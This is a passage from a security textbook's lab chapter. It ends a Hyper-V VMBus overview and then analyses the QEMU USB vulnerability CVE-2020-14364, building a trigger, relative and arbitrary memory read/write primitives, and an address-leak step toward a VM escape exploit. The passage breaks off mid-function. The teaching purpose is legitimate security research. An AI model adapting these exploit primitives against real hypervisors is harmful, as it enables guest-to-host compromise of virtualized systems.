VM_PKT_DATA_INBAND ❸. In offset8 ❹, we have the offset (in 8-byte blocks, from
the start of the header) of the next header and, in len8 ❺, we have the packet’s total size
(in 8-byte blocks, including the packet header). The flags ❻ field is usually zero, but in
some cases it is set to one to indicate that a VM_PKT_COMP ❼ should be sent by the
receiver. The transaction identifier ❽ is a value of our choice when we send a request; if
we are responding to a request, we should set the same value as in the request.
Packets are padded to an 8-byte boundary, and each packet ends with an 8-byte trailer
(not included in len8 calculation).
VMBus devices implement their own protocols, but they all share this same basic
transport. For space reasons, we won’t discuss the different protocol implementations;
however, a sample script is included (GHHv6/ch25/labs/time_sync.py) that connects to
the Time Synch integration component and displays the host’s time. The script makes
use of the GHHv6/ch25/labs/vmbus.py module to open a channel and communicate
through ring-buffers.
Summary
This chapter started with an overview of Hyper-V’s architecture. Then we covered para-
virtualization features specific to Hyper-V, including functionality implemented in the
VMM (synthetic MSRs, SynIC, and hypercalls) and in the root partition (VMBus).
For Further Reading

As mentioned in the introduction, this chapter is just an overview to give you a starting
point to conduct your own research.
One way to learn more about Hyper-V is by reverse-engineering it. Most of the vir-
tualization stack has debugging symbols and can be analyzed with ease with tools like
Hex-Rays and WinDbg. The exception is the VMM component (hvix64.exe), which has
539
no public symbols and requires a lot of effort to understand. A couple of IDA plug-ins
can be of great help:
• MSR-decoder and VMX-helper, developed by Behrooz Abbassi (@rceninja), can

be found at https://github.com/RceNinja/Re-Scripts/tree/master/scripts.
• FakePDB, developed by Mikhail Paulyshka (@Mixailos), can be used to generate
a PDB file from the IDA database. We can load this file with WinDbg when
debugging the VMM.
Another way is by reading the existing official and unofficial documentation. The most
complete list of Hyper-V research resources has been recompiled by Arthur Khudyaev
(@gerhart_x) and can be found at https://github.com/gerhart01/Hyper-V-Internals/.
References
1. “Hypervisor-protected Code Integrity enablement,” https://docs.microsoft.com/
en-us/windows-hardware/design/device-experiences/oem-hvci-enablement.
2. “How Windows Defender Credential Guard works,” https://docs.microsoft.com/
en-us/windows/security/identity-protection/credential-guard/credential-guard-
how-it-works.
3. “Microsoft Defender Application Guard overview,” https://docs.microsoft.com/
en-us/windows/security/threat-protection/microsoft-defender-application-guard/
md-app-guard-overview.
4. “Microsoft Hyper-V Bounty Program,” www.microsoft.com/en-us/msrc/bounty-
PART V
hyper-v.
5. “HyperFuzzer: An Efficient Hybrid Fuzzer for Virtual CPUs,” www.microsoft.com/
en-us/research/publication/hyperfuzzer-an-efficient-hybrid-fuzzer-for-virtual-cpus/.
6. “Hyper-V Integration Services,” https://docs.microsoft.com/en-us/virtualization/
hyper-v-on-windows/reference/integration-services.
7. “Universally unique identifier,” https://en.wikipedia.org/wiki/Universally_unique_
identifier.
8. “Make your own integration services,” https://docs.microsoft.com/en-us/
virtualization/hyper-v-on-windows/user-guide/make-integration-service.
9. “HV_PARTITION_PRIVILEGE_MASK,” https://docs.microsoft.com/en-us/
virtualization/hyper-v-on-windows/tlfs/datatypes/hv_partition_privilege_mask.
10. “Hypervisor Top-Level Functional Specification,” https://docs.microsoft.com/
en-us/virtualization/hyper-v-on-windows/reference/tlfs.
11. “Using MDLs,” https://docs.microsoft.com/en-us/windows-hardware/drivers/
kernel/using-mdls.
Hacking Hypervisors
Case Study
CHAPTER
26
• Root cause analysis of a device emulation vulnerability in QEMU
• USB and EHCI basics
• Development of a VM escape exploit for a user-mode worker process (QEMU)
In this chapter, we will analyze and exploit CVE-2020-14364, 1 by Xiao Wei and Ziming
Zhang, in QEMU’s USB emulation code. It is a simple and reliable vulnerability, which
makes it a great case study. Hypervisors such as KVM and Xen use QEMU as their
worker process component, so when we target QEMU, we will be performing user-
mode exploitation.
This chapter assumes that on your host you are using a Linux installation with KVM
virtualization enabled and that you have a working install of Docker. All the code from
this chapter is available at GitHub:
A Dockerfile includes the environment and all the tools used in this chapter. All the
code and examples in this chapter should be executed from within the Docker container.
The KVM device in the host must be passed through to the Docker container:
$ cd GHHv6/ch26/
$ docker run --device=/dev/kvm --network host -it kali bash
Once inside the Docker container, the code can be found inside the /labs directory.
Bug Analysis
We need to start with an introduction to the Universal Serial Bus (USB). We’ll discuss
just the minimum required to understand the affected code. After this introduction, we’ll
take a look at the commit that fixes the issue and perform a root cause analysis of the bug.
541
542
USB Basics
A USB system is composed of a host connected to one or more USB devices. The host
contains the USB software, a USB host controller, and an embedded root hub. A hub
is a special class of USB device that provides attachment points known as ports. A USB
device can be either a hub or a function. Another kind of device, known as a compound
device, can package a hub and several functions in a single unit. Devices are connected
in a tiered star topology with an imposed maximum of seven tiers to prevent circular
connections. The first tier starts at the host’s root hub, forming a tree-like configuration;
however, from the logical point of view of the host, all devices look like they were directly
connected to the root hub.
NOTE What is explained in this section is an oversimplified, tiny fraction of

what USB really encompasses. Readers interested in the whole picture can
find a link to the USB 2.0 specification in the “For Further Reading” section.
Endpoints
USB devices have a collection of endpoints with specific data transfer characteristics
(among these is the data flow direction). Each endpoint has a unique identification
number called the endpoint number. All USB devices must implement a default control
method called endpoint zero. This endpoint is composed of two (one input, one output)
endpoints assigned to the same endpoint number (zero). Endpoint zero is always accessi-
ble, and it is used to initialize or manipulate the device through the default control pipe.
Pipes
Pipes are used to move data between the host and a device’s endpoint. There are two
kinds of pipes: stream pipes and message pipes (the default control pipe is a message
pipe). Message pipes are bidirectional; they assign a single endpoint number for both
input and output endpoints. Unlike stream pipes, data transmission in message pipes
follows some USB-defined structure based on control transfers.
Control Transfers
Control transfers can be used to configure a device, send commands to it, or query its
status. A control transfer can be classified in three types: control read, control write, and
no-data control. Control reads and control writes have three stages: the setup stage, data
stage, and status stage. In a no-data control, there is only the setup stage and status stage.
The setup stage involves a setup transaction, which is initiated by the host to indicate the
type of control access the function (device) should perform. The data stage involves one
or more data transactions in the direction assigned by the setup transaction. The status
stage is used to report the result of a previous setup/data stage.
Chapter 26: Hacking Hypervisors Case Study
543
Packets
A transaction involves the interchange of packets between host and a function. A packet
contains a group of fields; here are some important ones:
• PID Contains the packet type and a check code that is a complement of the
packet type.
• Function address In our case, we are only concerned about the default
address zero.
• Endpoint address In our case, we will use the endpoint zero.
• Data Contains 0 to 1024 bytes of data; each byte has its least significant bit
(LSB) shifted one position from the next byte.
• Token CRC For SETUP, IN, and OUT packet types, this field is a 5-bit cyclic
redundancy check (CRC) computed from the function and endpoint address fields.
• Data CRC A 16-bit CRC of the data field.
Which fields are present in a particular packet depend on their packet type (encoded
in the PID field). A packet type falls into any of the following groups:
• Token Includes the OUT, IN, SOF, and SETUP packet types. These packets
contain the following fields: PID, function address, endpoint address, and
token CRC.
• Data Includes the DATA0, DATA1, DATA2, and MDATA packet types. Data
packets include a PID field, followed by a variable number (0 to 1024) of data
bytes, and the data CRC field.
PART V
• Handshake Includes the ACK, NAK, STALL, and NYET packet types. These
packets contain only the PID field.
• Special Includes the PRE, ERR, SPLIT, PING, and RESERVED types.
Control transfers (and their stages) can be described in terms of the packets inter-
changed between the host and the function in the following way:
• The setup stage consists of one setup transaction. In the setup transaction, the host
sends a SETUP packet followed by a DATA0 packet. On success, the function
replies with an ACK packet.
• The data stage involves one or more data transactions in the direction assigned by
the setup stage. In a data transaction, if the control transfer is a control write, the
host sends an OUT packet followed by a DATAx (DATA1 or DATA0) packet.
In a control read, the host sends an IN packet and receives a DATAx packet from
the function. The receiver of the DATAx packet must send an ACK on success or
otherwise reject it with a NAK or STALL.
544
• The final status stage consists of a status transaction. If the control transfer is a
control read, the status stage begins with the host sending an OUT and a zero-
length DATA1 packet. If the command was completed, the function replies with
an ACK. If the function is still busy, it must reply with a NAK, and if there was
an error, it replies with a STALL. In a control write, the host sends an IN packet
and the function replies with zero-length DATA1. On success, the host replies
with an ACK or otherwise with a NAK/STALL.
Standard Requests
Standard requests can be sent to a device over the default control pipe, and they begin
with a SETUP packet containing an 8-byte data field. This data field encodes the follow-
ing parameters:
• bmRequestType An 8-bit bitmap encoding the request characteristics. Bits 0–4

indicate the recipient type: device, interface, endpoint, other, or reserved. Bits 5–6
indicate the request type: standard, class vendor, or reserved. Bit 7 indicates the
direction of the data transfer: either host to device or device to host.
• bRequest An 8-bit field with the request type. Standard request codes are
GET_STATUS, CLEAR_FEATURE, SET_FEATURE, SET_ADDRESS,
GET_DESCRIPTOR, SET_DESCRIPTOR, GET_CONFIGURATION,
SET_CONFIGURATION, GET_INTERFACE, SET_INTERFACE, and
SYNCH_FRAME
• wValue A 16-bit request-dependent field to pass a request parameter.
• wIndex Another 16-bit request-dependent field, typically to pass an index
or offset.
• wLength A 16-bit field indicating the number of bytes to transfer in the data
stage of the transfer.
Lab 26-1: Patch Analysis Using GitHub API
Let’s find the commit that fixed this CVE in QEMU’s repository. To do this, we can use
GitHub’s REST API2 and search for commits containing “CVE-2020-14364” in their
description. The jq3 tool can be used to parse and filter the resulting JSON, displaying
only the information we need: the commit URL and the commit message.
┌──(root ghh6)-[/]
└─# curl -s -H "Accept: application/vnd.github.cloak-preview+json" https://
api.github.com/search/commits?q=repo:qemu/qemu+CVE-2020-14364 | jq '.items[0].
commit | .url + "\n" + .message' -r
https://api.github.com/repos/qemu/qemu/git/commits/
b946434f2659a182afc17e155be6791ebfb302eb
usb: fix setup_len init (CVE-2020-14364)
Store calculated setup_len in a local variable, verify it, and only write it to
the struct (USBDevice->setup_len) in case it passed the sanity checks.
545
This prevents other code (do_token_{in,out} functions specifically)from working
with invalid USBDevice->setup_len values and overrunning the
USBDevice->setup_buf[] buffer.
Now that we have the commit URL, we can perform another query and get the code
changed:
┌──(root ghh6)-[/]
└─# curl -s -H "Accept: application/vnd.github.groot-preview+json" https://api.
github.com/repos/qemu/qemu/commits/b946434f2659a182afc17e155be6791ebfb302eb | jq
.files[0].patch -r | colordiff
@@ -129,6 +129,7 @@ void usb_wakeup(USBEndpoint *ep, unsigned int stream)
static void do_token_setup(USBDevice *s, USBPacket *p)
{
int request, value, index;
+ unsigned int setup_len;
if (p->iov.size != 8) {
p->status = USB_RET_STALL;
@@ -138,14 +139,15 @@ static void do_token_setup(USBDevice *s, USBPacket *p)
usb_packet_copy(p, s->setup_buf, p->iov.size);
s->setup_index = 0;
p->actual_length = 0;
- s->setup_len = (s->setup_buf[7] << 8) | s->setup_buf[6];❶
- if (s->setup_len > sizeof(s->data_buf)) {
+ setup_len = (s->setup_buf[7] << 8) | s->setup_buf[6];❷
+ if (setup_len > sizeof(s->data_buf)) {
fprintf(stderr,
"usb_generic_handle_packet: ctrl buffer too small (%d > %zu)\n",
- s->setup_len, sizeof(s->data_buf));
+ setup_len, sizeof(s->data_buf));
Return;
}
+ s->setup_len = setup_len;
PART V
request = (s->setup_buf[0] << 8) | s->setup_buf[1];
value = (s->setup_buf[3] << 8) | s->setup_buf[2];
NOTE do_parameter was also affected but we will focus just on

do_token_setup.
The affected function do_token_setup is in charge of processing SETUP packets

sent by the host (we refer to the host in the USB sense; this “host” is actually a guest
VM) to an endpoint. The USBDevice *s parameter is a pointer to the device’s state, and
USBPacket *p contains information about the incoming packet. The function verifies
that the length of the SETUP data field is 8 bytes. If the check fails, p->status is set to
USB_RET_STALL and the function bails out; otherwise, usb_packet_copy copies the
packet data contents to s->setup_buf.
We can see code that the vulnerable code ❶ sets s->setup_len to the contents of
s->setup_buf, corresponding to the “wLength” field (the number of bytes to transfer in the
data stage). The new code ❷ uses a local variable instead without affecting the device’s state.
546
The next line checks whether this value is larger than the size of s->data_buf (a 4096-byte
buffer used to copy data in the data stage). If it is, the function bails out. From the code diff
and the commit description, we can assume that it is possible to send a SETUP packet with
a wLength field larger than 4096, and do_token_setup will fail to process it; however, an
invalid s->setup_len will be set. This invalid state can be used in the data stage to overflow
the s->data_buf when transferring data.
Developing a Trigger
Now with a basic understanding of the issue, we can start working first on a trigger and
then on a full working exploit. We will make use of our own tools, based on the frame-
work developed in Chapter 24. The advantage of using our framework is that we avoid
the extra software layers of a general-purpose operating system (OS). This way, we can
test and debug our code with more ease, thus shortening the exploit development time.
After our framework-based exploit is working, it could be ported to any particular OS.
Setting Up the Target

First, we need a vulnerable QEMU version (v5.1.0-rc3). The Docker container provided
for this chapter already includes it. The affected USB controller is not enabled by default,
so we must append it to QEMU’s command line. Also we need to attach a USB device
to it. Finally, we want to be able to debug the QEMU process, so we will run it from
gdbserver.4
NOTE All source files from this chapter can be found under the /labs
directory inside the Docker container.
Let’s take a look at how our Guest sub-class is implemented in /labs/qemu_guest.py:

from subprocess import Popen, PIPE, DEVNULL
import guest
class Guest(guest.Guest):
debugger = 'gdbserver 127.0.0.1:2345'
stderr = True
def __enter__(self):
self.proc = Popen(
(f'exec {self.debugger} qemu-system-x86_64 '
'-display none -boot d -cdrom kernel_bios.iso '
'-m 300M -serial stdio -enable-kvm '
'-device usb-ehci,id=ehci '
'-device usb-mouse,bus=ehci.0'
),
stdin=PIPE, stdout=PIPE,
stderr={True: None, False: DEVNULL}[self.stderr],
shell=True
)
return self
547
Lab 26-2: Scanning the PCI Bus
With this new setup, the Enhanced Host Controller Interface (EHCI) controller should
be present in the guest’s PCI bus. We can verify it with the pci.py module included in our
framework. This module injects code to scan the PCI bus after our guest’s kernel boots:
┌──(root ghh6)-[/]
└─# cd /labs; python3
Python 3.9.2 (default, Feb 28 2021, 17:03:44)
[GCC 10.2.1 20210110] on linux
>>> from qemu_guest import Guest
>>> from pci import Session
>>> Guest.debugger = ''
>>> Session(Guest).run()
... omitted for brevity …
00:04:00: USB (EHCI)
BAR MEM-space : 0xfebf1000❹ size: 0x1000
vendor_id : 0xe000
device_id : 0x40
command : 0x107
status : 0x0
revision_id : 0x10
prog_if : 0x20❸
subclass : 0x3❷
class_code : 0xc❶
NOTE Our new base class is now called Session, and generalizes on the
PART V
Fuzzer class we implemented in Chapter 24.
The EHCI controller has class-code 0x0c ❶, subclass 0x03 ❷, and interface (prog_if)
0x20 ❸. BAR0 points to the base of the EHCI register space at address 0xfebf1000 ❹.
The EHCI Controller

The EHCI controller manages the communication between USB devices and the host’s
software stack. Its register space is composed of two sets of registers: capability registers
and operational registers. We need to access the CAPLENGTH (capability) register to
get the offset at where the operational registers start. The registers from the operational
register set are what we use to control the operational state of the controller.
EHCI provides two schedule interfaces for data transfers: the periodic schedule and
the asynchronous schedule. Both mechanisms are based on the EHCI controller walking
through data structures present in the host memory, representing queues of work items.
We will use the asynchronous schedule because it is simpler, but either schedule interface
can fulfill our needs.
548
The asynchronous schedule walks a data structure known as the asynchronous trans-
fer list, which is a circular list of Queue Head (QH) elements. The operational register
ASYNCLISTADDR holds a pointer to the next QH element to be processed by the
asynchronous schedule. A Queue Head starts with an item type (in this case, a QH
type) and a pointer to the next QH. The next fields are the endpoint’s characteristics
and capabilities, followed by a pointer to the current Queue Element Transfer Descriptor
(qTD). The rest of the QH is a transfer overlay area associated with the current qTD.
A qTD is used to represent one or more USB transactions. It contains a pointer to the
next qTD and alternate qTDs, a qTD token, and five buffer pointers allowing transfers
of up to 20KB. The qTD token encodes (among other things) the total number of bytes
to transfer (from/to the buffer pointers) and a PID code that is used to generate the IN,
OUT, or SETUP tokens.
To enable or disable the asynchronous schedule, as well as to run or stop it, we use
the operational register USBCMD. Commands issued through USBCMD don’t have an
immediate effect, so we need to check status changes polling the USBSTS register. The
controller supports several “Port Status and Control” registers (PORTSCn); we will only
use the PORTSC0 register to enable and reset the port zero.
Our framework’s EHCI-handling logic can be found in the ehci.py module (we won’t
show its code for space reasons), separated away from the exploit’s code. Here are the
methods provided by this module:
• qtd_single Generates a single qTD given a token and a data argument.

• qh_single Generates a single (self-referencing) QH given a qTD.
• port_reset Sets a “port reset” followed by a “port enabled” in PORTSC0.
• async_sched_stop Stops the asynchronous schedule.
• async_sched_run Given a QH argument, sets ASYNCLISTADDR and runs
the asynchronous schedule.
• run_single Takes a token and a data argument and then runs a transaction by
using the previous methods.
• request Generates the 8-byte data field information for standard requests.
• setup Takes a request argument, generates a SETUP token, and calls run_single.
• usb_in Takes a data length argument, generates an IN token, and calls run_single.
It reads back the data transferred from the function and returns it as a byte string.
• usb_out Takes a data (IOVector) argument and transfers it to the function (OUT).
NOTE The IOVector and Chunk classes are defined in remotemem.py.

These allow us to represent ranges of memory with “holes” in them, thus
avoiding excessive data transfers over the virtual serial port.
549
Triggering the Bug
Previously, we determined that the bug allows us to set an invalid s->setup_len by
sending a SETUP packet with a wLength field larger than 4096. At the data stage,
s->data_buf can be overflown when processing an OUT packet.
The QEMU function that processes OUT packets is called do_token_out and can
be found at /qemu/hw/usb/core.c (inside the Docker container). Let’s see under what
conditions this overflow can be triggered:
static void do_token_out(USBDevice *s, USBPacket *p)
{
assert(p->ep->nr == 0);
switch(s->setup_state) {
case SETUP_STATE_ACK:
if (s->setup_buf[0] & USB_DIR_IN) {
s->setup_state = SETUP_STATE_IDLE;
/* transfer OK */
} else {
/* ignore additional output */
}
break;
case SETUP_STATE_DATA:❸
if (!(s->setup_buf[0] & USB_DIR_IN)) {
int len = s->setup_len - s->setup_index;❷
if (len > p->iov.size) {
len = p->iov.size;
}
usb_packet_copy(p, s->data_buf + s->setup_index, len);❶
s->setup_index += len;
if (s->setup_index >= s->setup_len) {
s->setup_state = SETUP_STATE_ACK;
}
PART V
return;
}
s->setup_state = SETUP_STATE_IDLE;
break;
default:
}
}
A call to usb_packet_copy ❶ with a controlled len ❷ will be reached when

s->setup_state is SETUP_STATE_DATA ❸. However, when processing a corrupted
SETUP packet, do_token_setup returns prior to setting s->setup_state. We can work
around this limitation by previously sending another SETUP packet. Let’s take a look
again at how SETUP packets are handled by do_token_setup (/qemu/hw/usb/core.c):
static void do_token_setup(USBDevice *s, USBPacket *p)
{
int request, value, index;
if (p->iov.size != 8) {
return;
}
550
usb_packet_copy(p, s->setup_buf, p->iov.size);
s->setup_index = 0;
s->setup_len = (s->setup_buf[7] << 8) | s->setup_buf[6];
... omitted for brevity …
if (s->setup_buf[0] & USB_DIR_IN) {
usb_device_handle_control(s, p, request, value, index,
s->setup_len, s->data_buf);
if (p->status == USB_RET_ASYNC) {
s->setup_state = SETUP_STATE_SETUP;
}
if (p->status != USB_RET_SUCCESS) {
return;
}
if (p->actual_length < s->setup_len) {

s->setup_len = p->actual_length;
}
s->setup_state = SETUP_STATE_DATA;
} else {
if (s->setup_len == 0)
else
s->setup_state = SETUP_STATE_DATA;❶
}
}
If we send a SETUP packet containing a valid wLength, this can lead to a code path
that sets s->setup_state to SETUP_STATE_DATA ❶. This means that the buffer over-
flow can be triggered by sending two consecutive SETUP packets (with the first one
containing a valid wLength) and one OUT packet.
The actual copy operation is performed by usb_packet_copy (/qemu/hw/usb/core.c).
If we take a closer look at this function, we can see that the copy direction is determined
by the packet’s PID:
void usb_packet_copy(USBPacket *p, void *ptr, size_t bytes)
{
QEMUIOVector *iov = p->combined ? &p->combined->iov : &p->iov;
assert(p->actual_length >= 0);

assert(p->actual_length + bytes <= iov->size);
switch (p->pid) {
case USB_TOKEN_SETUP:
case USB_TOKEN_OUT:❶
iov_to_buf(iov->iov, iov->niov, p->actual_length, ptr, bytes);
break;
case USB_TOKEN_IN:❷
iov_from_buf(iov->iov, iov->niov, p->actual_length, ptr, bytes);
break;
default:
fprintf(stderr, "%s: invalid pid: %x\n", __func__, p->pid);
abort();
}
p->actual_length += bytes;
}
551
For SETUP or OUT packets, iov_to_buf ❶ is called. Meanwhile, for IN packets,
iov_from_buf ❷ is called.
Based on what we already know, let’s write a proof of concept that triggers the overflow
and smashes 32 bytes past the buffer. The following code can be found at /labs/trigger.py:
import ehci
from qemu_guest import Guest
from remotemem import IOVector, Chunk
class Trigger(ehci.Session):
retry_exceptions = False
timeout = 0
def trigger_overflow(self, overflow_len, data):

self.setup(self.request(0, 0, 0, 0, 0x100))❶
self.setup(self.request(0, 0, 0, 0, overflow_len))❷
self.usb_out(IOVector([Chunk(data)]))❸

super().on_boot(body)
self.port_reset()
self.trigger_overflow(0x1020, b'\xff' * 0x1020)
if __name__ == "__main__":
Trigger(Guest).run()
The first SETUP ❶ packet (valid length) causes s->state to be set with
SETUP_STATE_DATA, and the second SETUP ❷ packet corrupts s->setup_len to
overflow_len. The OUT ❸ packet writes the contents of data to s->data_buf and
overflows it by 32 bytes.
PART V
Lab 26-3: Running the Trigger
Let’s see in the debugger how the trigger overflows the buffer:
└─# python3 trigger.py &
[2] 1089
└─# gdb -q
(gdb) set pagination off
(gdb) handle SIGUSR1 nostop noprint
Signal Stop Print Pass to program Description
SIGUSR1 No No Yes User defined signal 1
(gdb) target remote localhost:2345
...omitted for brevity…
0x00007f8b7d70e090 in _start () from target:/lib64/ld-linux-x86-64.so.2
(gdb) b usb_packet_copy if bytes == 0x1020❶
Breakpoint 1 at 0x560776e4c6a5: file /qemu/hw/usb/core.c, line 588.
(gdb) c
Thread 1 "qemu-system-x86" hit Breakpoint 1, usb_packet_copy
(p=0x560779903630,
ptr=0x56077a66509c, bytes=4128) at /qemu/hw/usb/core.c:588
588 QEMUIOVector *iov = p->combined ? &p->combined->iov : &p->iov;
(gdb) finish❷
552
Run till exit from #0 usb_packet_copy (p=0x560779903630, ptr=0x56077a66509c,
bytes=4128) at /qemu/hw/usb/core.c:588
do_token_out (s=0x56077a664fb0, p=0x560779903630) at /qemu/hw/usb/core.c:244
244 s->setup_index += len;
(gdb) x/4gx &s->data_buf[4096]❸
0x56077a66609c: 0xffffffffffffffff 0xffffffffffffffff
0x56077a6660ac: 0xffffffffffffffff 0xffffffffffffffff
Once we attach with GDB, we set a conditional breakpoint at usb_packet_copy ❶

that breaks if the length of the copy is 0x1020 bytes. When the breakpoint is hit, we let
the function perform the copy ❷ and return to the caller. After that, we can examine the
contents past the end of s->data_buf ❸, and we can confirm that the contents have been
smashed with the 0xff pattern.
Exploitation
This section covers all the steps required to fully exploit this vulnerability. We will start
from the previous trigger code and will iteratively build more advanced primitives until
finally getting code execution via a ret2lib technique.
The full working exploit code can be found in qemu_xpl.py. To manipulate C struc-
tures with ease, a CStruct class is provided in cstruct.py. This is a customized subclass of
construct.Struct that provides C-like alignment and offset information for struct fields.
Relative Write Primitive

To craft our first primitive, let’s start by looking at the USBDevice structure (defined in
/qemu/include/hw/usb.h). In particular, we’ll look at the fields right after data_buf that
can be smashed with the overflow:
uint8_t setup_buf[8];
uint8_t data_buf[4096];
int32_t remote_wakeup;
int32_t setup_state;
int32_t setup_len;
int32_t setup_index;
We can control setup_index and setup_len and always set setup_state to

SETUP_STATE_DATA. Remember that data is copied in the following way:
usb_packet_copy(p, s->data_buf + s->setup_index, len);
By controlling s->setup_index, we can turn the buffer overflow into a ±2GB relative
write from the address of s->data_buf. Based on our trigger_overflow method, we can
build the relative_write primitive in the following way (/labs/qemu_xpl.py):
def overflow_data(self):
return CStruct(
'remote_wakeup' / c.Int32sl,
'setup_state' / c.Int32sl,
'setup_len' / c.Int32sl,
'setup_index' / c.Int32sl
)
553
def overflow_build(self, overflow_len, setup_len, setup_index):❶
return self.overflow_data().build({
'remote_wakeup': 0,
'setup_state': 2, # SETUP_STATE_DATA
'setup_len': setup_len,
'setup_index': setup_index – overflow_len❷
})
def relative_write(self, offset, data: IOVector):❸

data_buf_len = USBDevice.data_buf.sizeof()
overflow_len = data_buf_len + self.overflow_data().sizeof()
setup_len = data.size() + offset
self.trigger_overflow(
overflow_len,
self.overflow_build(overflow_len, setup_len, offset)
)
self.usb_out(data)
First, we have the helper method overflow_build ❶ to build the binary data needed
to smash s->setup_len and s->setup_index. The overflow_len argument is required
to adjust s->setup_index ❷, which is incremented after the call to usb_packet_copy.
Our relative_write ❸ primitive takes a relative offset to s->data_buf (either positive or
negative) and the data (IOVector) to write.
Relative Read Primitive

A read primitive requires sending an IN packet. The QEMU function that processes
IN packets is do_token_in (defined in /qemu/hw/usb/core.c):
static void do_token_in(USBDevice *s, USBPacket *p)
{
PART V
switch(s->setup_state) {
case SETUP_STATE_DATA:
if (s->setup_buf[0] & USB_DIR_IN) {❷
int len = s->setup_len - s->setup_index;
if (len > p->iov.size) {
len = p->iov.size;
}
usb_packet_copy(p, s->data_buf + s->setup_index, len);❶
if (s->setup_index >= s->setup_len) {
}
return;
}
The call to usb_packet_copy ❶ is reached if USB_DIR_IN is present in

s->setup_buf[0] ❷. Because we used an OUT packet to corrupt s->setup_index, this
is not possible.
At this point, it is too late to send more SETUP packets in an attempt to set
USB_DIR_IN because the state was already corrupted; however, we can pass a
554
negative offset to relative_write and smash s->setup_buf. Let’s see how to implement a
relative_read (/labs/qemu_xpl.py) following this approach:
def relative_read(self, offset, length):
setup_buf = self.request(ehci.USB_DIR_IN, 0, 0, 0, 0)❷
setup_buf_len = len(setup_buf)
data = IOVector([❶
Chunk(setup_buf),
Chunk(
self.overflow_build(❸
overflow_len,
offset + length,
offset - setup_buf_len
),
offset=data_buf_len + setup_buf_len
)])
self.relative_write(-setup_buf_len, data)❹
return self.usb_in(length)
The relative_read primitive is constructed by preparing data ❶ to both underflow

and overflow s->data_buf in a single shot. The underflow slice (setup_buf) ❷ smashes
s->setup_buf contents to set USB_DIR_IN, while the overflow slice ❸ smashes
s->setup_len and s->setup_index. Then relative_write ❹ is used to corrupt the state,
and we can now send an IN packet to leak data.
Lab 26-4: Debugging the Relative Read Primitive
Let’s use the debugger to see how the state corruption is achieved:
└─# nohup python3 qemu_xpl.py 2> /dev/null &
[1] 328
└─# gdb -q
0x00007f2c37c67090 in _start () from target:/lib64/ld-linux-x86-64.so.2
(gdb) b usb_packet_copy if bytes > 0x1000
Breakpoint 1 at 0x5613f085e6a5: file /qemu/hw/usb/core.c, line 588.
(gdb) c
Continuing.
...omitted…
(p=0x5613f28eb630,
ptr=0x5613f364d09c, bytes=4112) at /qemu/hw/usb/core.c:588
(gdb) finish
Run till exit from #0 usb_packet_copy (p=0x5613f28eb630, ptr=0x5613f364d09c,
do_token_out (s=0x5613f364cfb0, p=0x5613f28eb630) at /qemu/hw/usb/core.c:244
555
(gdb) print s->setup_state
$1 = 2
(gdb) print s->setup_len
$2 = 4112❶
(gdb) print s->setup_index
$3 = -4120❷
(gdb) c
Continuing.
(p=0x5613f28eb630,
ptr=0x5613f364d094, bytes=4120) at /qemu/hw/usb/core.c:588
(gdb) finish
Run till exit from #0 usb_packet_copy (p=0x5613f28eb630, ptr=0x5613f364d094,
do_token_out (s=0x5613f364cfb0, p=0x5613f28eb630) at /qemu/hw/usb/core.c:244
(gdb) print s->setup_len
$4 = 5364
(gdb) print s->setup_index
$5 = -4356
(gdb) print s->setup_buf[0]
$6 = 128 '\200'❸
TIP Use GDB to test and examine all exploit primitives and display the
contents of USBDevice in the same way we just did here.
In the debugging session, we can see that the buffer overflow is used to set
s->setup_len ❶ to 0x1010 bytes and s->setup_index ❷ to -0x1018, which, after
adding the length, is -8 (that’s the start of s->setup_buf). Then the arbitrary write sets
PART V
s->setup_len and s->setup_index with the actual length and offset we want to read
from, but also sets s->setup_buf[0] ❸ to 0x80 (USB_DIR_IN), so now we can send
an IN packet to read data.
Arbitrary Read
To turn the relative read into an arbitrary read, we need the address of s->data_buf.
We can obtain the address of s (USBDevice) from the device field of the endpoint zero
structure (USBEndpoint) at s->ep_ctl. This structure is defined in /qemu/include/
hw/usb.h:
struct USBEndpoint {
uint8_t nr;
uint8_t pid;
uint8_t type;
uint8_t ifnum;
int max_packet_size;
int max_streams;
bool pipeline;
bool halted;
USBDevice *dev;
QTAILQ_HEAD(, USBPacket) queue;
};
556
If we leak the whole USBDevice structure (in the future, we will need more from this
structure), we can use s->ep_ctl.dev to calculate s->data_buf. The very first thing our
exploit will do is to leak this structure (/labs/qemu_xpl.py):
super().on_boot(body)
self.port_reset()
self.usb_dev = USBDevice.parse(
self.relative_read(
USBDevice.data_buf._offset * -1,
USBDevice.sizeof()
))
Then turning the relative read into an arbitrary read is straightforward:

def addr_of(self, field):❶
return self.usb_dev.ep_ctl.dev + field._offset
def arbitrary_read_near(self, addr, data_len):

delta = self.addr_of(USBDevice.data_buf)❷
return self.relative_read(addr - delta, data_len)
The method addr_of ❶ is used to resolve the absolute address of any field belonging
to USBDevice, so at arbitrary_read_near ❷ we use it to get the address of s->data_buf.
Keep in mind that this primitive is still limited to a ±2GB range. That’s why the method’s
name includes the “near” suffix.
Full Address-Space Leak Primitive

If our intention is to build a ROP or ret2lib that works independently of knowing
the binary’s layout, we will need a read primitive capable of accessing the full address
space. One way to accomplish this is by manipulating a pointer used by some device’s
standard request that returns data to the host. A good standard request candidate is
GET_DESCRIPTOR. When we pass USB_DT_STRING in the request’s wValue, it
is processed by usb_desc_string (defined at /qemu/hw/usb/desc.c):
const char *usb_desc_get_string(USBDevice *dev, uint8_t index)❶
{
USBDescString *s;
QLIST_FOREACH(s, &dev->strings, next) {❷
if (s->index == index) {
return s->str;
}
}
return NULL;
}
int usb_desc_string(USBDevice *dev, int index, uint8_t *dest, size_t len)
{
str = usb_desc_get_string(dev, index);
if (str == NULL) {
str = usb_device_get_usb_desc(dev)->str[index];
if (str == NULL) {
return 0;
}
}
557
bLength = strlen(str) * 2 + 2;
dest[0] = bLength;
dest[1] = USB_DT_STRING;
i = 0; pos = 2;
while (pos+1 < bLength && pos+1 < len) {❸
dest[pos++] = str[i++];
dest[pos++] = 0;
}
return pos;
}
The usb_desc_string function calls usb_desc_get_string ❶ to iterate over the

dev->strings list ❷ until index is found. Then, usb_desc_string copies the contents of
the returned pointer until a null byte is found or a maximum buffer size is reached ❸.
It is possible to overwrite the list head at dev->strings and make it point to a
USBDescString object created by us. Later, we can send a GET_DESCRIPTOR
request and return data from our controlled s->str pointer. A good spot to place our fake
USBDescString object is inside s->data_buf. The contents can be written in a single
shot when triggering the buffer overflow. To do so, some changes are required in the
relative_write (/labs/qemu_xpl.py) primitive, so let’s write a new one:
def relative_write_2(self, offset, data, data_buf_contents):
setup_len = len(data) + offset
